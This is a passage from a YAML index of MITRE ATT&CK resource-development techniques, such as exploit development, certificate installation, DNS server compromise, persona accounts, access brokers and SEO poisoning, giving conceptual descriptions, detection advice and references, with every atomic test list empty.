      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Persona: Social Media'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1587.004:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2
      type: attack-pattern
      created: '2020-10-01T01:48:15.511Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1587.004
        url: https://attack.mitre.org/techniques/T1587/004
      - source_name: NYTStuxnet
        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
          March 1, 2017.
        url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
      - source_name: Irongeek Sims BSides 2017
        url: https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims
        description: Stephen Sims. (2017, April 30). Microsoft Patch Analysis for
          Exploitation. Retrieved October 16, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Exploits
      description: |-
        Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)

        As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

        Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on behaviors relating to the use of exploits (i.e.
        [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
        [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203),
        [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),
        [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211),
        [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
        [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
        and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1608.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069
      type: attack-pattern
      created: '2021-03-17T20:32:13.793Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1608.003
        url: https://attack.mitre.org/techniques/T1608/003
      - source_name: DigiCert Install SSL Cert
        url: https://www.digicert.com/kb/ssl-certificate-installation.htm
        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
          April 19, 2021.
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Install Digital Certificate
      description: "Adversaries may install SSL/TLS certificates that can be used
        during targeting. SSL/TLS certificates are files that can be installed on
        servers to enable secure communications between systems. Digital certificates
        include information about the key, information about its owner's identity,
        and the digital signature of an entity that has verified the certificate's
        contents are correct. If the signature is valid, and the person examining
        the certificate trusts the signer, then they know they can use that key to
        communicate securely with its owner. Certificates can be uploaded to a server,
        then the server can be configured to use the certificate to enable encrypted
        communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries
        may install SSL/TLS certificates that can be used to further their operations,
        such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)
        with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending
        credibility to a credential harvesting site. Installation of digital certificates
        may take place for a number of server types, including web servers and email
        servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004))
        or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)).
        Digital certificates can then be installed on adversary controlled infrastructure
        that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))
        or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584))."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)

        Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1584.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jeremy Galloway
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5
      created: '2020-10-01T00:54:30.869Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1584.002
        url: https://attack.mitre.org/techniques/T1584/002
      - source_name: FireEye DNS Hijack 2019
        url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
        description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS
          Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October
          9, 2020.'
      - source_name: Crowdstrike DNS Hijack 2019
        url: https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/
        description: Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity
          Targets Multiple Sectors. Retrieved February 14, 2022.
      - source_name: Talos DNSpionage Nov 2018
        url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
          Targets Middle East. Retrieved October 9, 2020.
      - source_name: CiscoAngler
        url: https://blogs.cisco.com/security/talos/angler-domain-shadowing
        description: 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking
          in the Domain Shadows. Retrieved March 6, 2017.'
      - source_name: Proofpoint Domain Shadowing
        url: https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows
        description: 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising
          campaigns use domain shadowing to pull in Angler EK. Retrieved October 16,
          2020.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

        By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)  Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DNS Server
      x_mitre_detection: |-
        Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Domain Name: Active DNS'
      - 'Domain Name: Passive DNS'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1585:
    technique:
      modified: '2024-02-28T21:08:56.520Z'
      name: Establish Accounts
      description: |
        Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

        For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

        Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Persona: Social Media'
      type: attack-pattern
      id: attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8
      created: '2020-10-01T01:05:42.216Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1585
        external_id: T1585
      - source_name: Free Trial PurpleUrchin
        description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin
          Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February
          28, 2024.
        url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
      - source_name: NEWSCASTER2014
        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
      - source_name: Mandiant APT1
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
      - source_name: BlackHatRobinSage
        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
          March 6, 2017.
        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1588:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1
      type: attack-pattern
      created: '2020-10-01T01:56:24.776Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588
        url: https://attack.mitre.org/techniques/T1588
      - source_name: NationsBuying
        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
        url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
      - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
          Human Rights Defender. Retrieved December 12, 2016.'
        source_name: PegasusCitizenLab
      - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
        source_name: DiginotarCompromise
        url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
      - source_name: FireEyeSupplyChain
        description: 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to
          SunshopFireEye. Retrieved March 6, 2017.'
        url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
      - source_name: Analyzing CS Dec 2020
        url: https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
        description: Maynier, E. (2020, December 20). Analyzing Cobalt Strike for
          Fun and Profit. Retrieved October 12, 2021.
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      - source_name: Recorded Future Beacon Certificates
        url: https://www.recordedfuture.com/cobalt-strike-servers/
        description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying
          Rogue Cobalt Strike Servers. Retrieved October 16, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Obtain Capabilities
      description: |-
        Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

        In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)

        In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)

        Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Certificate: Certificate Registration'
      - 'Malware Repository: Malware Metadata'
      - 'Internet Scan: Response Content'
      - 'Malware Repository: Malware Content'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1650:
    technique:
      modified: '2023-04-14T20:04:42.893Z'
      name: Acquire Access
      description: |-
        Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)

        Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)

        By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)

        In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).

        **Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Jeremy Kennelly
      - Jeffrey Barto
      x_mitre_deprecated: false
      x_mitre_detection: "Much of this takes place outside the visibility of the target
        organization, making detection difficult for defenders. \n\nDetection efforts
        may be focused on related stages of the adversary lifecycle, such as during
        Initial Access. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.0'
      type: attack-pattern
      id: attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954
      created: '2023-03-10T15:37:21.782Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1650
        external_id: T1650
      - source_name: Krebs Access Brokers Fortune 500
        description: Brian Krebs. (2012, October 22). Service Sells Access to Fortune
          500 Firms. Retrieved March 10, 2023.
        url: https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/
      - source_name: CrowdStrike Access Brokers
        description: 'CrowdStrike Intelligence Team. (2022, February 23). Access Brokers:
          Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.'
        url: https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/
      - source_name: CISA Karakurt 2022
        description: Cybersecurity Infrastructure and Defense Agency. (2022, June
          2). Karakurt Data Extortion Group. Retrieved March 10, 2023.
        url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a
      - source_name: Microsoft Ransomware as a Service
        description: 'Microsoft. (2022, May 9). Ransomware as a service: Understanding
          the cybercrime gig economy and how to protect yourself. Retrieved March
          10, 2023.'
        url: https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1584.007:
    technique:
      modified: '2022-10-20T21:19:57.555Z'
      name: Serverless
      description: "Adversaries may compromise serverless cloud infrastructure, such
        as Cloudflare Workers or AWS Lambda functions, that can be used during targeting.
        By utilizing serverless infrastructure, adversaries can make it more difficult
        to attribute infrastructure used during operations back to them. \n\nOnce
        compromised, the serverless runtime environment can be leveraged to either
        respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090)
        traffic to an adversary-owned command and control server.(Citation: BlackWater
        Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated
        by these functions will appear to come from subdomains of common cloud providers,
        it may be difficult to distinguish from ordinary traffic to these providers.(Citation:
        Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare
        Workers)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: ''
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Awake Security
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77
      created: '2022-07-08T12:46:15.450Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1584/007
        external_id: T1584.007
      - source_name: AWS Lambda Redirector
        description: Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved
          July 8, 2022.
        url: https://blog.xpnsec.com/aws-lambda-redirector/
      - source_name: Detecting Command & Control in the Cloud
        description: 'Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command
          & Control in the Cloud. Retrieved July 8, 2022.'
        url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
      - source_name: BlackWater Malware Cloudflare Workers
        description: Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses
          Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.
        url: https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1584.004:
    technique:
      modified: '2024-01-31T20:05:44.075Z'
      name: Server
      description: |-
        Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.

        Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Dor Edry, Microsoft
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      - 'Internet Scan: Response Metadata'
      type: attack-pattern
      id: attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5
      created: '2020-10-01T00:56:25.135Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1584/004
        external_id: T1584.004
      - source_name: TrendMicro EarthLusca 2022
        description: 'Chen, J., et al. (2022). Delving Deep: An Analysis of Earth
          Lusca’s Operations. Retrieved July 1, 2022.'
        url: https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
      - source_name: Koczwara Beacon Hunting Sep 2021
        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
          Shodan. Retrieved October 12, 2021.
        url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
      - source_name: Mandiant SCANdalous Jul 2020
        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
          Using Network Scan Data and Automation). Retrieved October 12, 2021.
        url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1608.006:
    technique:
      modified: '2023-03-13T20:35:52.302Z'
      name: SEO Poisoning
      description: |-
        Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)

        To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)

        Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)

        SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Goldstein Menachem
      - Vijay Lalwani
      - Will Thomas, Equinix Threat Analysis Center (ETAC)
      - Will Jolliffe
      - Hiroki Nagahama, NEC Corporation
      - Manikantan Srinivasan, NEC Corporation India
      - Pooja Natarajan, NEC Corporation India
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
